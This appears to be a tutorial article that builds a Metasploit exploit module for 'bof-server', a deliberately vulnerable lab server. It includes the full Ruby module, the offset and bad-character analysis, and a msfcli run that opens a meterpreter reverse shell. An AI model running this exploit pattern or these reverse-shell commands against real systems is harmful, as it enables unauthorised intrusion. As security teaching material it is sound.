Bof-server has been written especially to be exploited during this
article, and as you already guessed by looking at it's name, we will
exploit a stack overflow bug. You can find bof-server here:
Exploitation using Metasploit
Now comes the interesting things ... :)
To make a metasploit exploit module, the easiest way to start is to
create myexploit.rb in the modules/exploits/os/type/ metasploit
subdirectory.
In our case, we will create
modules/exploits/windows/dummy/bof-server.rb containing this code:
require 'msf/core'
module Msf
# class name should reflect directories
class Exploits::Windows::Dummy::BofServer < Msf::Exploit::Remote
include Exploit::Remote::Tcp
# exploit relative informations
def initialize(info = {})
super(update_info(info,
'Name' => 'bof-server exploit',
'Description' => 'This is an exploit for bof-server v0.01',
'Author' => 'xipe', # You ;)
'Version' => '1.0',
'Payload' =>
{
'Space' => 1024, # Space that payload can use.
# We don't know yet
'BadChars' => "\x00", # Chars that payloads should not
# contains. We don't know yet
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2 English',
{
'Platform' =>'win',
'Ret' => 0xaaaaaaaa # Return address. We don't know yet
}
],
],
'DefaultTarget' => 0))
end
def check
# Here we should check if the target is vulnerable
# This function should not crash the target
end
def exploit
# Here we should exploit the target
end
end
end
Now it's time to get missing informations, we already know that sending
1024 bytes of data makes our server crash.
Metasploit gives a very cool tool which permits you to know how many
bytes need to be sent to fill the remote buffer and crash the target.
This tool is composed of 2 scripts: pattern_create.rb and
pattern_offset.rb.
We will not use pattern_create.rb, but the pattern_create()
function in your exploit script instead.
Here is your new exploit function of our script:
def exploit
# Here we should exploit the target
connect
buf = pattern_create(1024)
sock.put(buf)
sock.get
disconnect
end
We can now fire-up our preferred debugger, attach the bof-server
process, and start our exploit using msf_cli.
> msfcli windows/dummy/bof-server PAYLOAD=windows/meterpreter/bind_tcp RPORT=4242 RHOST=127.0.0.1 E
The bof-server should have crashed. Giving the crashing EIP address to
pattern_offset.rb will return us how many bytes are needed to reach the
saved return value.
> pattern_offset.rb 72413372
520
As you can see pattern_offest.rb returned 520, so 520 bytes + 4
are necessary to make the target crash.
Looking at the stack we should also be able to find the start address
of the overflowed buffer (Here I got 0x22fb65).
We now have quite all the informations we needed for our exploit. The
only things remaining are the BadChars.
BadChars are characters that should not be sent to the target, because
the target modifies them, or behaves differently when finding them.
Again, in our debugger, by looking at the assembly code (around
0x4146D) we found that the target is doing something special with the
0x0A, 0x0D and 0x20 characters.
Using all this informations we are now able to put them in our exploit
script.
Our exploit script looks like this:
require 'msf/core'
module Msf
# class name should reflect directories
class Exploits::Windows::Dummy::BofServer < Msf::Exploit::Remote
include Exploit::Remote::Tcp
# exploit relative informations
def initialize(info = {})
super(update_info(info,
'Name' => 'bof-server exploit',
'Description' => 'This is an exploit for bof-server v0.01',
'Author' => 'xipe', # You ;)
'Version' => '1.0',
'Payload' =>
{
'Space' => 500, # Space that payload can use.
# We found that we needed 520 bytes to make the
# bof-server crash, but we will only use 500, as
# the end of this space can be modified by the target
# before returning.
'StackAdjustment' => -3500, # Modify stack pointer at shellcode start
# so it can use the stack without writing
# on itself.
'BadChars' => "\x00\x20\x0D\x0A", # Chars that payloads should not
# contains.
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2 English',
{
'Platform' =>'win',
'Ret' => 0x22fb65 # Return address.
}
],
],
'DefaultTarget' => 0))
end
def check
# Here we should check if the target is vulnerable
# This function should not crash the target
connect
buf = "version\n"
sock.put(buf)
res = sock.get
disconnect
if res =~ /bof-server v0.01/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
# Here we should exploit the target
connect
buf = payload.encoded # Size of the payload is defined by Payload.Space in exploit infos.
buf << make_nops(20) # Some more bytes, as we defined the payload to be 500 bytes long
buf << [target.ret].pack('V') # Return address
sock.put(buf) # send data
sock.get
handler # pass the connection to the payload handler
disconnect
end
end
end
The only remaing thing is to test our exploit and to have fun :
> msfcli windows/dummy/bof-server PAYLOAD=windows/meterpreter/reverse_tcp RPORT=4242 RHOST=172.20.0.2 LHOST=172.20.0.1 E
[*] Started reverse handler
[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (81931 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (172.20.0.1:4444 -> 172.20.0.2:1109)
meterpreter > ls
Listing: Z:\work\test\exploit\metasploit
========================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir Thu Jan 01 01:00:00 +0100 1970 .
40777/rwxrwxrwx 0 dir Thu Jan 01 01:00:00 +0100 1970 ..
100666/rw-rw-rw- 3001 fil Thu Jan 01 01:00:00 +0100 1970 .gdbtkinit
100666/rw-rw-rw- 26814 fil Thu Jan 01 01:00:00 +0100 1970 bof-server
100666/rw-rw-rw- 3200 fil Thu Jan 01 01:00:00 +0100 1970 bof-server.c
100666/rw-rw-rw- 3211 fil Thu Jan 01 01:00:00 +0100 1970 bof-server.c~
100777/rwxrwxrwx 26665 fil Thu Jan 01 01:00:00 +0100 1970 bof-server.exe
100666/rw-rw-rw- 2880 fil Thu Jan 01 01:00:00 +0100 1970 bof-server.o
meterpreter >
I hope you had as much fun as I had while writing this article, and I
would like to thanks all the Metasploit team for giving us a such cool
framework !